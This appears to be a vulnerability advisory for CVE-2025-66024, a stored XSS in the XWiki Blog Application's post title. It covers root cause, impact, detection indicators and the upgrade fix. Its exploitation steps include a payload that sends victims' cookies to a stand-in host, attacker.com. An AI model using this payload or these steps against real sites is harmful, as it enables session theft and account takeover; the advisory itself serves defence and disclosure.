CVE-2025-66024: 
Java vulnerability analysis and mitigation

CVE-2025-66024 is a Stored Cross-Site Scripting (XSS) vulnerability in the XWiki Blog Application (org.xwiki.contrib.blog:application-blog-ui) that allows authenticated users with blog post creation or editing permissions to inject malicious JavaScript via the blog post title field. The vulnerability was disclosed on March 4, 2026, and affects all versions of the application prior to 9.15.7. It carries a CVSS v4.0 base score of 8.6 (High) and a CVSS v3.1 base score of 9.0 (Critical) (Github Advisory). The vulnerability was reported by Łukasz Rybak (Github Advisory).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation) — specifically, the blog post title value is injected directly into the HTML <title> tag without proper HTML escaping in the BlogCode.xml template. An attacker can craft a title containing a payload such as </title><script>alert('XSS in title blog')</script> to break out of the <title> context and inject arbitrary JavaScript into the rendered page. The fix, applied in commit cca87f0, wraps the title value with both rendering escaping and HTML escaping via $escapetool.html(...) before insertion into the page (GitHub Commit). Exploitation requires only low-level authenticated access (blog post creation rights) and passive user interaction (a victim viewing the blog home page) (Github Advisory).

Successful exploitation allows the injected script to execute in the browser of any user — including administrators — who views the blog home page or the affected post. This enables session hijacking (theft of authentication cookies or tokens), privilege escalation by performing actions on behalf of higher-privileged users, and potential further compromise of the XWiki instance. The vulnerability's scope is changed, meaning the impact extends beyond the attacker's own session to all viewers of the affected content (Github Advisory).

1. Obtain blog post creation rights: Log in to the target XWiki instance as any user with permissions to create or edit blog posts (low-privilege account sufficient).
2. Create a new blog post: Navigate to the Blog application and initiate creation of a new blog post.
3. Inject XSS payload into the Title field: In the Title field, enter a payload that breaks out of the HTML <title> tag, such as:

   </title><script>document.location='https://attacker.com/steal?c='+document.cookie</script>

4. Publish the post: Save and publish the blog post so it appears on the blog home page.
5. Wait for victim interaction: Any user (including administrators) who visits the blog home page will have the malicious script execute in their browser, sending their session cookies or tokens to the attacker-controlled server.
6. Hijack session or escalate privileges: Use the captured session token to authenticate as the victim user, potentially gaining administrative access to the XWiki instance (Github Advisory).

• Logs: Web server or XWiki access logs showing blog post creation or edit requests containing HTML/script tags (e.g., </title>, <script>) in the title parameter; unusual POST requests to blog post creation endpoints.
• File System: Unexpected modifications to BlogCode.xml or other blog application template files if an attacker escalated to admin and modified templates.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting the blog home page, potentially carrying cookie or token data in query parameters (e.g., ?c=<session_token>).
• Application: Presence of blog posts with titles containing HTML tags, <script> elements, or JavaScript URIs visible in the XWiki blog post list or database.

Upgrade the XWiki Blog Application (org.xwiki.contrib.blog:application-blog-ui) to version 9.15.7 or later, which adds proper HTML escaping of the post title before rendering it in the <title> tag (Github Advisory). The XWiki Blog Application maintainers are not aware of any configuration-based workarounds; patching is the only remediation. As an interim measure, administrators may consider restricting blog post creation permissions to highly trusted users only until the patch can be applied.

The vulnerability was reported by security researcher Łukasz Rybak and published by XWiki maintainer tmortagne on March 4, 2026 (Github Advisory). No significant broader media coverage or notable public researcher commentary beyond the advisory and standard vulnerability aggregator coverage has been identified.